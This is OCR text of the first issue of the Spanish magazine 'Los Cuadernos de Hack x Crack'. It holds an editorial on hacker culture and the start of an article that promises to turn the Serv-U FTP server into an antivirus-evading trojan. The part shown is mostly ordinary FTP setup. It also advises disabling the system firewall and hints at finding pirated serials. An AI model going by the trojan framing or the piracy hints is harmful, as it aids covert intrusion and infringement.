SlideShare uma empresa Scribd logo
1 de 68
Baixar para ler offline
3€      DESCUBRE EL OSCURO
        MUNDO DE LA RED
                                            3€
                                       NUMERO 1
LOS CUADERNOS DE
HACK
                               CRACK
www.hackxcrack.com



         CREA TU PRIMER TROYANO
           INDETECTABLE POR LOS ANTIVIRUS
     FXP: SIN LÍMITE DE VELOCIDAD
                UTILIZANDO CONEXIONES AJENAS
     LOS SECRETOS DEL FTP
                ABRE LOS OJOS
     ESQUIVANDO FIREWALLS
             PASV MODE VERSUS PORT MODE
                                                     00001




                                   8 437003 464003
EDITORIAL: EDITOTRANS S.L.U.
                         C.I.F.:B43675701

Director editorial: I. SENTIS
E-mail contacto:director@editotrans.com
Título de la publicación: Los cuadernos de HACK X CRACK.
Web: www.hackxcrack.com

Deposito legal: B.26805-2002.
Código EAN: 8437003464003.
Código ISSN: En proceso.

Director: J. Sentís
E-mail: director@hackxcrack.com

Diseño gráfico: J. M. Velasco
Contacto diseñador gráfico:grafico@hackxcrack.com

Redactores: AZIMUT, ROTEADO, FASTIC, MORDEA, FAUSTO....
Contacto redactores: redactores@hackxcrack.com

Colaboradores: Mas de 130 personas, de España, de Brasil, de
Argentina, de Francia, de Alemania e incluso uno de Japón :) y
como no algún Estadounidense.
Contacto colaboradores:colaboradores@hackxcrack.com

Imprime: Cayfosa-Quebecor.                  Carretera de Caldes, Km. 3 – 08130 Sta. Perpètua de
Mogoda (Barcelona) Spain – Tel. 93 565 75 00 - Fax 93 574 16 82

Distribución: Coedis S.L. Avda. de Barcelona, 225. Molins de Rei. Barcelona.
© Copyright Editotrans S.L.U.



    PON TU PUBLICIDAD EN
          HACKXCRACK
     TELEFONO 652495607
e-mail: publicidad@hackxcrack.com
HackXCrack     HackXCrack      HackXCrack    HackXCrack     HackXCrack     HackXCrac k

   EDITORIAL - EDITORIAL - EDITORIAL - EDITORIAL - EDITORIAL
HackXCrack     HackXCrack      HackXCrack    HackXCrack     HackXCrack     HackXCrac k




ZONA EDITORIAL: DECLARACION DE INTENCIONES

PARA "LOS OTROS":
1.- La intención de la presente publicación NO ES fomentar la piratería informática ni
la “delincuencia” en la Red.
2.- Cualquier texto publicado es VALIDADO por nuestra Asesoría Jurídica, por lo que
advertimos a cualquier persona, empresa u organización de la inutilidad de cualquier
iniciativa jurídica en nuestra contra. Aun así, en caso de cualquier iniciativa en contra
de esta revista, deberá ser debidamente presentada y resuelta en la Razón Social que
figura en nuestros documentos de constitución.
3.- Esta publicación no se hace responsable del mal uso de los conocimientos que se
exponen.
4.- Esta publicación NO FACILITARÁ los datos de nuestros colaboradores ni el origen
de nuestros conocimientos salvo ORDEN JUDICIAL y, aun así, advertimos que algunos
de esos colaboradores NO SON CONOCIDOS mas que por sus NICKS (alias). Por ello,
correrá a cargo de los organismos pertinentes su “descubrimiento”.
5.- Esta publicación NO SE HACE RESPONSABLE ni tienen por qué COMPARTIR las
opiniones personales vertidas por sus colaboradores, por lo que NO SOMOS
RESPONSABLES de las mismas.
6.- Cualquier texto publicado estará bajo las protecciones de DERECHOS DE AUTOR y
no se permite su copia, publicación, modificación o distribución sin antes obtener el
permiso de esta editorial. De este punto quedan exentos aquellos textos que han sido
obtenidos de terceros y/o que están sujetos a otras licencias (ya sean por parte de su
autor o por terceros).
7.- Si desean ponerse en contacto con nuestro departamento jurídico, rogamos enviar
mail a juridico@hackxcrack.com



 LOS CUADERNOS DE        HACKXCRACK -- NÚMERO 1                    p á g . 0 3
HackXCrack         HackXCrack        HackXCrack         HackXCrack         HackXCrack          HackXCrac k

   EDITORIAL - EDITORIAL - EDITORIAL - EDITORIAL - EDITORIAL
HackXCrack         HackXCrack        HackXCrack         HackXCrack         HackXCrack          HackXCrac k




PARA NUESTROS LECTORES:                                 informativos "de masas".
                                                        Pues bien, HACKER no es mas que una persona
                                                        que posee conocimientos avanzados sobre una
Como podréis ver, esta no es una revista mas, por       materia en concreto, normalmente relacionados
primera vez tenéis ante vosotros una publicación        con la tecnología aunque ni mucho menos limitado
LIBRE que os ofrecerá la posibilidad de explorar        a ello. Ponen sus aptitudes al servicio de un único
la red tal y como debe explorarse ;)                    objetivo: EL CONOCIMIENTO. Desean conocer el
                                                        funcionamiento de "las cosas" y no encuentran
                                                        límites en sus camino mas que su propia curiosidad.
Esta publicación responde a la pregunta mas veces       No se dedican a destruir ni a causar estragos entre
expuesta en LA RED: ¿Como puedo ser un hacker?          sus "victimas", no se dedican a robar ni a chantajear
Bien, ahora seguro que muchos ya se están               ni a regodearse de sus "conquistas", muy al contrario
"sonriendo" y pensando lo ilusos que somos al           suelen advertir a terceros de las debilidades de
intentar "eregirnos" en "portadores de LA LUZ",         sus sistemas y, desgraciadamente, esos "terceros"
pensando que seremos una "escuela de lamers"            en lugar de agradecerles su aviso se dedican a
y similares a otras publicaciones que, entre sus        denunciarlos o perseguirlos… aunque no siempre
100 páginas de revista solo contiene 5 de "material     es así, por supuesto, muchas compañías y
utilizable" (si es que puede llamar así).               gobiernos han aprendido lo valiosos que son los
                                                        HACKERS y ahora algunos son colaboradores (o
                                                        empleados) de estos. BILL GATES es un HACKER
Pues NO, lo siento, vosotros seréis nuestros jueces     (el papá ventanas), como Linus Torvalds (el papá
y, llegado el caso, NUESTROS VERDUGOS.                  Linux) o Grace Hooper (la Almirante, creadora
                                                        del Lenguaje COBOL), los autores del COREWAR
                                                        Robert Thomas Morris, Douglas McIlroy
Nuestro objetivo es: ACABAR CON LA BASURA               y Victor Vysottsky (precursores de los
DE LA RED (lamers y demás "esencias") con el
                                                        creadores de virus informáticos), Fred Cohen (el
único método que conocemos: LA EDUCACIÓN y
                                                        primer investigador y autor de los virus de la historia),
con un única bandera que será por siempre nuestra
                                                        Dennis Ritchie y Ken Thompson ("hacedores"
firma: SOLO EL CONOCIMIENTO TE HACE LIBRE.
                                                        del Lenguaje C y co-creadores del SO UNIX), Gary
                                                        Kildall (autor del sistema operativo CMP y
Estos son nuestros pilares: LA EDUCACIÓN Y EL           CPM/86), Tim Paterson (autor del Quick & Dirty
CONOCIMIENTO. Para ser un HACKER (maldita               DOS), Morris (autor del virus "The tour of the
palabra mal entendida por unos y peor utilizada         Worm"), Kevin Mitnick (el más buscado por el
por otros) solo hace falta dos cosas: curiosidad y      FBI), Phiber Optik (líder juvenil convertido en
medios, a partir de ahora la curiosidad deberéis        símbolo de los hackers), Richard Stallman
ponerla VOSOTROS, porque los medios los                 (impulsor del "software gratuito" y GNU), Johan
facilitaremos NOSOTROS. En las siguientes líneas        Helsingius (primer conductor de un Remailer
os descubrimos cómo podremos conseguir nuestros         Anónimo), Chen Ing-Hou (autor del virus CIH -
objetivos y definimos algunas de las palabras que       Chernobyl- ), Sir Dyistic (creadorutor del Back
más han sido violadas y retorcidas en su significado.   Orifice), David L. Smith (virus Melissa), Reonel
                                                        Ramonez (virus LoveLetter), Vladimir Levin
                                                        (Robó electrónicamente 10 millones de dólares al
Hacker: Este término ha sufrido a lo largo de su        Citibank), y muchos mas. ¿Cómo? ¿Pero no hemos
corta historia una horrible conspiración perpetrada     dicho que los hackers no comenten delitos? Pues
por la ignorancia de los medios, eso que                NO, vuelve a leer su definición… pero claro, de
personalmente llamo "periodismo de telediario" (en      todo hay en la viña del señor, y al igual que hay
clara alusión a los ridículos artículos que no hacen    delincuentes entre el clero hay hackers que en un
mas que intoxicar nuestra percepción de las cosas       momento u otro han ·caido· en la ilegalidad, nadie
e insultar nuestra inteligencia). Ese tipo de           es perfecto!!!!! … y Bill Gates es un HACKER?
periodismo unido a "otros poderes", desde los           Por supuesto, solo tienes que leerte su biografía.
monopolios que deben justificar su incompetencia        ¿Sorprendido? Espero que no, porque eso no es
hasta los gobiernos que deben justificar sus            nada mas que un cero a la izquierda en comparación
intereses ocultos pasando por la industria del cine     con lo que vas a encontrar en esta revista.
(normalmentedemonológica) y los medios
  LOS CUADERNOS DE              HACKXCRACK -- NÚMERO 1                              p á g . 0 4
CREA TU PRIMER TROYANO: INDETECTABLE E
        INMUNE A LOS ANTIVIRUS

El Serv-U 2.5e UN SERVIDOR FTP “MODIFICADO”
No, no nos hemos vuelto locos ni es un error tipográfico ni pertenecemos a la prehistoria…
si os vamos a enseñar las “tripas” de esta versión tan antigua del Serv-U es por algo
(confiad en nosotros, leed este artículo y tendréis entre las manos un troyano configurado
por vosotros mismos y, lo más importante: ningún antivirus dará la alerta).




                                                    programas, documentos de Word…) de un
1.- Introducción: ¿Qué es un servidor               ordenador a otro a través de una red (Internet,
FTP?                                                Intranet, Ethernet, Token Ring, FDDI…)

Nada mejor que una referencia directa para          Para utilizar un protocolo (en este caso el FTP)
responder. Cuando abrimos nuestro Navegador         necesitaremos una serie de programas que
de Internet (Internet Explorer, Netscape o          exploten sus posibilidades. Llegado a este
cualquier otro) y accedemos a una Página            punto aclaramos una duda que muchos tienen
Web, lo que realmente hace nuestro Navegador        cuando descubren el fascinante mundo del
es pedirle a un Servidor Web esa Página.            FTP: debemos distinguir muy bien entre
Entonces el Servidor Web sirve la Página,           Servidor FTP y Cliente FTP, no es lo mismo
nuestro Navegador la recibe, interpreta y           y los programas tampoco.
finalmente muestra en pantalla. Pues bien, un
Servidor FTP lo que hace es servir                  •        Servidor FTP: Programa que una vez
archivos en lugar de páginas Web.                   ejecutado pone a disposición de terceros una
                                                    serie de carpetas de nuestro disco duro. Son
¿Para que sirve instalar un Servidor FTP en         programas Servidores de FTP los conocidísimos
nuestro ordenador? Pues para compartir, por         Serv-U (http://www.serv-u.com/) y G6
ejemplo, nuestra última colección de MP3 con        (http://www.bpftpserver.com/) entre otros.
el mundo entero : Esta ha sido (y sigue siendo)     •        Cliente FTP: Programa que te
la forma más utilizada en Internet para servir      permite conectar con los Servidores FTP para
archivos y, quien no domine o como mínimo           coger archivos. Son programas Clientes los
conozca el mundo de los FTP, está                   conocidos CuteFTP (http://www.cuteftp.com/)
desperdiciando su conexión a Internet.              y el FlashFXP (http://www.flashfxp.com/) entre
                                                    otros.
Un Servidor FTP utiliza el File Transfer Protocol
o Protocolo de Transferencia de Ficheros (FTP),     Para establecer una referencia clara podemos
es decir, un conjunto de normas (protocolo)         decir que: un Cliente FTP es a un Servidor FTP lo
que permiten enviar ficheros (archivos,
 LOS CUADERNOS DE            HACKXCRACK -- NÚMERO 1                         p á g . 0 5
HackXCrack         HackXCrack          HackXCrack      HackXCrack       HackXCrack            HackXCrac k

TU PRIMER TROYANO - TU PRIMER TROYANO - TU PRIMER TROYANO
HackXCrack         HackXCrack          HackXCrack      HackXCrack       HackXCrack            HackXCrac k


que un Navegador Web es a un Servidor Web.             evaluar el programa sin limitaciones)

           CLIP: Actualmente se ha puesto de moda
           el "compartir ficheros" a través de
 p ro g r a m a s c o m o e l e D o n k e y 2 0 0 0
 (www.edonkey2000.com), pero de eso hablaremos
 en otra ocasión :)


2.- Instalando un Servidor FTP en
nuestro equipo:

Hemos dicho que utilizaremos como Servidor
FTP el programa Serv-U en su versión 2.5e,
pues bien, como no lo encontraréis en su Web
Oficial,     podéis      bajároslo        de
http://www.hackxcrack.com/cuadernoshack/
numero1/servu25e.exe                                   Al picar sobre el "I Agree" se cerrará esa
                                                       ventana y aparecerá el Serv-U.


          ADVERTENCIA: No está registrado, por                 A SABER: Para quienes tienen un
          supuesto, eso sería piratería digital y              Firewall instalado. Si vuestro Firewall
   nosotros no queremos saber nada de semejantes          (Zone Alarm o cualquier otro) se activa,
   crímenes contra la humanidad. Aunque es una            no te preocupes, es normal, dejad que el
   versión MUY ANTIGUA, no importa, tendréis              Serv-U se conecte a Internet.
   que pagar si queremos registrarla… aunque…
   siempre hay una alternativa, si visitas la página
   www.astalavista.com seguro que encuentras el
   serial para registrarlo Pero te lo advertimos,
   eso es delito, haciéndolo corres el riesgo de que             A SABER: Para quienes utilizan el
   los chicos de negro se planten en tu casa y te                Windows XP. Si tienes el WINDOWS XP
   detengan por “exceso de velocidad” ;)                  y lo has instalado por defecto, seguro que tienes
                                                          el Firewall del XP "en marcha", lo que impedirá
                                                          al Serv-U aceptar conexiones del exterior.
                                                          Tenemos que desconectarlo haciendo lo
          A SABER: Para practicar el contenido            siguiente: Menú Inicio --> Conexiones de Red
          de este artículo no necesitamos registrar       --> Picar sobre la conexión de red que os da
  este programa, por lo tanto podemos hacer servir        Acceso a Internet (la mayoría solo tendréis una)
  la versión share que os proporcionamos en la            --> Pestaña General, pulsar sobre "Propiedades"
  dirección antes expuesta. Esa versión es                --> Pestaña "Avanzada" y le echas un vistazo a
  completamente operativa, pero solo por 45 días          la sección "Servidor de Seguridad de Conexión
                                                          a Internet" (en letras azules). En este apartado,
Se acabó la charla, vamos allá. Cread un                  hay una casilla de verificación (un cuadrado)
directorio en vuestro disco duro C: llamado,              con este texto a su derecha "Proteger mi equipo
por ejemplo, FTPSERVER. Coge el archivo que               y mi red limitando o impidiendo el acceso a él
nos hemos bajado y cópialo dentro de                      desde Internet". Si la casilla de verificación está
                                                          marcada con una señal verde, picad sobre el
C:FTPSERVER y ejecútalo. Lo primero que                  cuadrado, puesto que es imprescindible que esta
vemos es una pantallita diciéndonos que esta              casilla no figure como activada.
es una versión gratuita y tal y cual, bueno,
                                                       Acabados los "preparatorios" a ver si podemos
pues picamos sobre el botón "I AGREE" de la
                                                       seguir sin interrupciones. Ya tenemos
sección "CHOICE 1" (esto os da 45 días para
 LOS CUADERNOS DE                 HACKXCRACK -- NÚMERO 1                           p á g . 0 6
HackXCrack        HackXCrack          HackXCrack      HackXCrack       HackXCrack         HackXCrac k

TU PRIMER TROYANO - TU PRIMER TROYANO - TU PRIMER TROYANO
HackXCrack        HackXCrack          HackXCrack      HackXCrack       HackXCrack         HackXCrac k


funcionando el Servidor FTP. Por defecto, al          Ahora vamos a preparar el Servidor FTP
ejecutarlo intenta conectarse, por eso ahora          para que sirva a los posibles Clientes el
tenemos que desconectarlo pulsando sobre el           contenido        de     la    Carpeta
icono con forma de rayo. Bien, ahora, una vez         c:paramisclientes.
desconectado, vamos a configurarlo.
                                                      A) Primero debemos crear un usuario. Lo
                                                      que hacemos con esto es proporcionar al
                                                      Serv-U un Nombre de Usuario y un Password
                                                      para que sólo pueda conectarse a nuestro
                                                      Servidor de Ficheros (nuestro Servidor FTP)
                                                      quien conozca el user/pass. No queremos que
                                                      cualquiera vea nuestros archivos ¿verdad?

                                                      A.1) Ir a Setup --> Users --> Seleccionar el
                                                      Usuario Default (a la izquierda) y pulsamos
Lo que vamos a hacer es poner a disposición de        Delete (abajo a la derecha). Con esto hemos
posibles Clientes un Servidor FTP con acceso a la     eliminado el usuario por defecto del Serv-U.
carpeta (C:paramisclientes) la cual contiene a
su vez varias Carpetas (MP3, DivX…). También
otorgaremos los permisos pertinentes. Por lo tanto,             ADVERTENCIA: Que nos sirva de
preparamos la "escena" creando la Carpeta                       precedente, nunca debemos instalar
paramisclientes en el Disco C: y dentro de esta                 Servicios de Red y dejar los parámetros
creamos las Carpetas: MP3 y DIVX. Finalmente             por defecto (en este caso un User Default),
metemos en la Carpeta MP3 unos cuantos archivos          porque quien conozca esos parámetros podrá
                                                         entrar en vuestros equipos sin problema, queda
(los que queramos) y en la Carpeta DIVX hacemos
                                                         advertido!!!, incluso cuando instalamos un
lo mismo.                                                elemento de hardware (por ejemplo un ROUTER
                                                         o un Firewall externo) debemos ELIMINAR los
La "escena" que hemos preparado en nuestro               accesos por defecto… bueno, ya iremos viendo
                                                         estas cosas mas adelante, solo quería llamar la
Disco C: queda de la siguiente manera:                   atención sobre el principal error de los
                                                         administradores (en este caso TU eres el
              Disco (C:)                                 Administrador de tu equipo)

                    Paramisclientes

                       DivX


                           Videodemigato.avi

                           Videodeminovia.mpg

                       Mimúsica


                           mimúsica.mp3

                           micancion.mp3




  LOS CUADERNOS DE              HACKXCRACK -- NÚMERO 1                          p á g . 0 7
HackXCrack       HackXCrack       HackXCrack        HackXCrack      HackXCrack       HackXCrac k

TU PRIMER TROYANO - TU PRIMER TROYANO - TU PRIMER TROYANO
HackXCrack       HackXCrack       HackXCrack        HackXCrack      HackXCrack       HackXCrac k


A.2) Poned en User Name un nombre (este             Append:
será el Nombre del Usuario que estamos              •        READ - Permitirá que El Cliente pueda
creando), por ejemplo hackandcrack y poned          ver vuestros archivos y pueda "pedirlos" (es
en Password un password, por ejemplo                decir, que nuestro Servidor le enviará al Cliente
hack85crack23 (esta será la clave que debe          los ficheros que pida)
conocer el usuario hackandcrack, si no la           •        WRITE - Permitirá que El Cliente pueda
conoce no podrá entrar).                            enviaros archivos a vosotros.
                                                    •        APPEND - Es una opción que debemos
B) Vamos a decirle al Serv-U dónde queremos         activar prácticamente siempre, esta nos permite
que un usuario "aparezca" cuando entre en           descargar un archivo "a trozos". Imaginad que
nuestro servidor. Esto delimita el movimiento       un cliente está descargando un archivo de
del cliente, no nos gustaría (supongo) que un       600MB, después de 2 días descargando y sin
cliente se conecte a nuestro PC y tenga acceso      apagar el ordenador ya tiene "bajados" 569MB,
a todo el PC y a todos los archivos ¿verdad?        entonces nuestra querida compañía eléctrica
                                                    pega una bajada a la línea y nuestro ordenador
B.1) Si en Home Directory pusimos c: con           se reinicia. DIOS!!!!! ¿ha perdido nuestro
esto conseguiríamos precisamente que el             cliente todo lo descargado hasta el momento?
cliente accediese a todo el Disco C:, incluso       Pues si dejamos esta casilla sin activar es lo
aunque después limitemos el acceso asignando        mas seguro, no os imagináis el mosqueo del
permisos estamos facilitando a un posible           cliente cuando intenta reanudar la descarga
atacante el trabajo). Así que mejor ponemos         y NO PUEDE!!!!! Porque el Servidor (o sea,
c:paramisclientes :).                              nosotros) NO HEMOS ACTIVADO EL APPEND.
                                                    •        DELETE - Esto permitirá a nuestro
B.2) Lo que haremos ahora es decirle a nuestro      cliente borrar nuestros archivos, por lo tanto,
Servidor los permisos que le daremos al             si activamos esta opción, mejor tener siempre
contenido del directorio c:paramisclientes.        copia de lo que pongamos en ese directorio.
Picamos ADD (abajo), esto nos abrirá una            •        EXECUTE - Esto permitirá a nuestro
ventana llamada Path Name donde picaremos           cliente ejecutar archivos en nuestro equipo
Browse, esto nos permitirá seleccionar el/los       (de esto ya hablaremos, porque no es
directorios           (en       este       caso     exactamente así, pero bueno… tiempo al
c:paramisclientedixv) y picamos OK hasta          tiempo)
llegar de nuevo a la pantalla principal del Setup
Users. Repetimos la operación para                  Del grupo Directories seleccionamos
c:paramisclientesmp3.                             List:
Ahora podemos comprobar que en el cuadrado          •        LIST - Permite a tu cliente ver (listar)
grande encabezado por las palabras                  los directorios (carpetas).
"Files/Directory access rules" aparecen nuestras    •        MAKE - Permite a tu cliente crear
Carpetas c:paramisclientedixv y                   nuevos directorios (carpetas)
c:paramisclientesmp3.                             •        REMOVE - Permite a tu cliente borrar
                                                    (eliminar) directorios (carpetas)
B3) Pues procedemos a dar permisos.
A la derecha del cuadrado grande, podemos           Ahhhh… vale, abajo hay otro cuadro de
ver una columna de Cuadros de Selección             selección llamado INHERIT, debemos activarlo
divididos en dos grupos (Files y Directories).      también (aunque seguro que ya lo está por
                                                    defecto)… esto asigna las opciones
Del grupo Files seleccionamos Read y                seleccionadas anteriormente a TODOS los

 LOS CUADERNOS DE             HACKXCRACK -- NÚMERO 1                        p á g             0 8
HackXCrack       HackXCrack       HackXCrack       HackXCrack       HackXCrack           HackXCrac k

TU PRIMER TROYANO - TU PRIMER TROYANO - TU PRIMER TROYANO
HackXCrack       HackXCrack       HackXCrack       HackXCrack       HackXCrack           HackXCrac k


subdirectorios y archivos que contienen estos.     la ventana siguiente lo desactivamos y
Para que se entienda, imaginad que dentro          pulsamos ok para volver a donde estábamos.
de la Carpeta c:paramisclientesdivx              Ahora, abajo a la derecha pulsamos OK y ya
tenemos dos carpetas mas y archivos dentro         está. Con esto nos ahorraremos disgustos en
de esas Carpetas. Pues si no seleccionamos         esta versión del Serv-U (en versiones mas
esa opción, nuestros clientes no podrán acceder    avanzadas, dejar activa esta característica
correctamente a los archivos de los                permite una cierta optimización de los accesos
subdirectorios porque no habrían heredado          a ficheros)
los permisos del directorio anterior.

Ya está, pulsamos OK (abajo a la derecha) y
nos aparecerá de nuevo la pantalla principal
del Serv-U. Bien, pues ya tenemos "casiapunto"
nuestro servidor. Solo unos cuantos detalles
más:

1.- Vamos a Setup y picamos FTP-Server…
•        En FTP port number ponemos 21 (si
queremos ser victimas de todos los escáneres
del mundo) o 4780 por ejemplo (si queremos
estar un poco más ocultos).
No es el momento de explicar lo que es un                     AVANZANDO: Sobre el sexto cuadro
puerto, eso lo veremos con todo lujo de detalles              Block FTP BOUNCE attack.
en la sección de TCP/IP, solo deciros que es          En posteriores números ya profundizaremos en
                                                      la explicación de estas opciones y muchas otras
como una puerta de acceso al ordenador, como          que encontrareis al instalar versiones superiores
el ratón o el teclado que tenéis conectado a          de este programa; pero no puedo seguir este
un puerto llamado PS2 o COM o USB (espero             artículo sin por lo menos explicaros algo de esta
que os suene).                                        opción.
•        En Max Speed, debemos dejarlo en             Imaginad que tenemos dos ordenadores (A en
                                                      Alemania y B en Barcelona) corriendo un
blanco si queremos utilizar toda la potencia          Servidor de FTP cada uno de ellos. Imaginemos
de nuestra conexión a Internet.                       que A y B están conectados a Internet mediante
•        Max. no. of Users es el número               líneas muy rápidas y nosotros estamos en un
máximo de usuarios (clientes) que queremos            ordenador C situado en un pueblo perdido en
puedan conectar a un mismo tiempo. Si vuestra         las montañas con una línea de acceso a Internet
                                                      lentísima.
conexión a Internet es normalita (Cable               Pues bien, mediante programas de FXP (como
Español) pues con 3 usuarios (Clientes) ya es         el FlashFXP) podemos desde C conectarnos a
suficiente. Debajo de estas opciones tenemos          A y B al mismo tiempo y hacer que A y B
8 cuadros de selección, debemos activar el            transfieran datos entre ellos bajo nuestras
primero (Enable security, activa la seguridad),       ordenes. Lo importante es que nosotros solo
                                                      daremos ordenes, los datos no pasarán por
el segundo (Encrypt Passwords, encripta los           nuestro ordenador, con esto conseguimos mover
passwords), el cuarto (ya lo explicaremos,            gran cantidad de datos por Internet sin necesidad
digamos que desconecta de nuestro Servidor            de una conexión rápida… pensad en ello un
a un Cliente que no hace nada), el sexto (ya          momento… :)
lo explicaremos) y el séptimo (evita ataques
por fuerza bruta).
•        Ahora, arriba a la derecha veréis un
botón que pone Dir Cache, lo pulsamos y en
 LOS CUADERNOS DE            HACKXCRACK -- NÚMERO 1                           p á g . 0 9
HackXCrack         HackXCrack          HackXCrack      HackXCrack       HackXCrack          HackXCrac k

TU PRIMER TROYANO - TU PRIMER TROYANO - TU PRIMER TROYANO
HackXCrack         HackXCrack          HackXCrack      HackXCrack       HackXCrack          HackXCrac k



                                                       3.- Entrando en nuestro Servidor FTP
   Activando esta casilla, lo que hacemos es impedir   como un Cliente:
   ese comportamiento. Esto es positivo en caso
   de poner el Servidor FTP al servicio de terceros,
                                                       Ahora que ya tenemos nuestro Servidor de
   porque eso impide que un cliente utilice nuestro
   Servidor como "pasarela de datos".                  Archivos:
   Desactivando esta casilla permitiremos el FXP,
   esto es positivo en caso de ser únicamente          •        Abrid el Internet Explorer.
   nosotros quienes tengamos acceso al Servidor        •        Ir      a      la     dirección
   FTP.
                                                       ftp://hackandcrack:hack85crack23@192.168
                                                       .0.1:4780/
Ya tenemos nuestro Servicio de Red FTP. Ahora          Sustituid 192.168.0.1 por cualquiera de las IP
lo activamos pulsando el icono del rayo (el            que salen en la última línea (en este caso ---
primero de la pantalla del Serv-U) y si todo           > FTP Server on-line: IP-number(s)
ha ido bien, en servicio se activará y veremos         184.57.80.195, 192.168.0.1, port number 4780)
en el cuadro blanco algo parecido a esto:

Serv-U FTP-Server v2.5e - Copyright (c) 1995-
2000 Cat Soft, All Rights Reserved - by Rob                      ALTERNATIVA 1: En caso de que
Beckers                                                          o b t e n g á i s u n e r r o r, i r a
Cat Soft is an affiliate of Deerfield.Com                ftp://hackandcrack:hack85crack23@127.0.0.1:
Using WinSock 2.0 - max. 32767 sockets                   4780/ (es lo mismo, simplemente cambio vuestra
                                                         IP (dirección de red) por otra IP "especial" que
No logfile specified, logging messages to screen         también es vuestra (ya hablaremos de ello en otra
only                                                     ocasión)
[1] Sat 06Apr02 15:34:47 - Starting FTP Server...
 (Version 2.5e (32-bit))                               •        Ahora ya debemos tener ante vuestros
Using full try-out version (Permission server          ojos las Carpetas que pusimos dentro del la
                                                       Directorio c:paramisclientes. Podemos
contacted - you can proceed)
                                                       trabajar con ellas como si se tratase de una
FTP Server on-line: IP-number(s) 184.57.80.195,
                                                       carpeta mas de vuestro PC, podéis entrar,
192.168.0.1, port number 4780                          copiar su contenido a vuestro PC, borrarlos
                                                       (eso no puesto que no dimos permisos de
Fijaros en la ultima línea, nos indica que el          Delete), subir archivos vuestros (en este caso
Servidor de FTP está corriendo en las IP               tampoco porque no dimos permisos de Write),
184.57.80.195 (vuestra dirección en Internet,          etc. Repasad los permisos dados a las Carpetas
que por supuesto será diferente a esta que             DIVX y MP3, podemos cambiarlos según
veis aquí) y en la IP 192.168.0.1 (vuestra             nuestras necesidades.
dirección Interna, ya os lo explicaré) y en el
puerto 4780 (el que le pusimos nosotros en                       A RECORDAR. Apunte sobre los
lugar del 21).                                                   Servidores: cuando nos conectamos a un
                                                                 Servidor (sea de FTP, de Web o cualquier
Bien, pues ya tenemos nuestro servidor y                 otro) debemos pensar que estamos accediendo a
                                                         un sistema mediante una conexión. Aunque el
supongo que queréis entrar a fisgonear                   Servidor esté en nuestro propio ordenador, cuando
¿verdad?...                                              nos conectamos a él debemos pensar que estamos
                                                         ante un "elemento de conexión", es decir, que
                                                         podemos (y debemos) utilizar los programas
                                                         adecuados para ello. Es la forma perfecta de

 LOS CUADERNOS DE                HACKXCRACK -- NÚMERO 1                           p á g . 1 0
HackXCrack        HackXCrack          HackXCrack     HackXCrack      HackXCrack         HackXCrac k

TU PRIMER TROYANO - TU PRIMER TROYANO - TU PRIMER TROYANO
HackXCrack        HackXCrack          HackXCrack     HackXCrack      HackXCrack         HackXCrac k




  practicar, instalando Servidores en nuestro PC        seguro jamás se ha escrito, comprensible y
 y accediendo a ellos a través de Programas             ameno, un curso "para todos los públicos" sin
 Cliente.                                               dejar de lado los conceptos técnicos. Estar
                                                        atentos al quiosco!!! :)

        AVANZADO. Apunte sobre las direcciones
        IP:
 xxx.xxx.xxx.xxx (ejemplo 108.245.42.5) Es como      4.- Sobre la dirección introducida en
 vuestra dirección de casa y cada ordenador          nuestro navegador:
 conectado a Internet tiene una como mínimo,
 por eso en Internet NUNCA sois anónimos del
                                                     Ejemplo:
 todo. En la sección correspondiente ya
 trataremos en profundidad este tema, solo           ftp://hackandcrack:hack85crack23@127.0.0.
 deciros que existe una nomenclatura para definir    1:4780
 direcciones y que algunas de estas son
 privadas, es decir, que solo pueden utilizarse      Formato:
 en redes internas. Por eso podemos tener dos
                                                     [PROTOCOLO]://[USER]:[PASS]@[IP]:[PUER
 (o mas) direcciones IP, una será la externa o
 pública (la que daremos a conocer a nuestros        TO] (el contenido entre los corchetes [ ] son
 clientes de Internet, por ejemplo un familiar       variables y los corchetes nunca deben ponerse,
 nuestro que esté en nuestra misma ciudad o          comparadlo por ejemplo con la instrucción de
 cualquier otra parte del mundo) y otra interna      acceso a vuestro propio Servidor de FTP)
 o privada (la que daremos a conocer a los
 ordenadores que tenemos conectados
 directamente al nuestro, por ejemplo el             Profundicemos un poco:
 ordenador                de       nuestro           [PROTOCOLO] -- ftp://
 padre/hermano/hijo/jefe/compañero en la             Es la forma en que describimos el protocolo
 habitación/sala/mesa de al lado).                   a utilizar. En caso de ser una página Web,
                                                     sería el archiconocido http:// (por ejemplo
                                                     http://www.microsoft.com)
         AVANZANDO. Apunte sobre la dirección
         especial 127.0.0.1:
 Esta es una Dirección IP Interna Especial y         [USER]:[PASS] -- hackandcrack:hack85crack23
 permite acceder a nuestro ordenador aun en          Es el nombre de usuario y la clave separados
 caso de que no tengamos conexión a Internet o       por dos puntos. En este caso los introducidos
 ni tan siquiera tengamos red interna configurada.   por nosotros al configurar nuestro Servidor
 Se utiliza como "looping", un sistema feedback,     FTP.
 es decir, una forma de poder trabajar con
 programas de red sin tener una red… pero en
 el curso de TCP/IP ya entraremos en ello y          @[IP]:[PUERTO] -- @127.0.0.1:4780
 daremos más detalles.                               La @ separa el usuario de la IP.
                                                     127.0.0.1 es una de las IP de nuestro equipo
                                                     (en este caso una dirección "especial")
         COMENTARIO. Las personas que lean
         esto y tengan conocimientos avanzados       Los Dos Puntos separan la IP del Puerto
         en TCP/IP deben estar pensando en la        4780 Es el puerto de escucha que pusimos al
 poca profesionalidad con la que estoy               configurar nuestro Servidor FTP
 describiendo todo este tema de las IP, pero este
 artículo no es (ni lo pretende) un estudio sobre
 TCP/IP, sino un intento de acercar a todo el
 mundo los conceptos básicos para que puedan
 comprender el funcionamiento de un servidor
 FTP. En este mismo cuaderno (o en próximos)
 encontrarás un curso de TCP/IP como estoy
 LOS CUADERNOS DE                HACKXCRACK -- NÚMERO 1                        p á g . 1 1
HackXCrack         HackXCrack           HackXCrack     HackXCrack      HackXCrack       HackXCrac k

TU PRIMER TROYANO - TU PRIMER TROYANO - TU PRIMER TROYANO
HackXCrack         HackXCrack           HackXCrack     HackXCrack      HackXCrack       HackXCrac k


                                                       uno de los archivos de Microsoft a cualquier
5.- Practicando                                        carpeta de vuestro Disco Duro y veréis que se
                                                       iniciará la descarga. Ahora sois Clientes de
Llegados a este punto, ya estamos conectados           Microsoft :)
a vuestro Servidor de FTP mediante nuestro             2) Abrid otra sesión del Internet Explorer y
navegador (Internet Explorer o el que uséis            conectaros                 a       vuestro
habitualmente), así que las transferencias de          (ftp://hackandcrack:hack85crack23@127.0.0
archivos serán tan rápidas como lo sea vuestro         .1:4780). Ahora arrastramos uno de los archivos
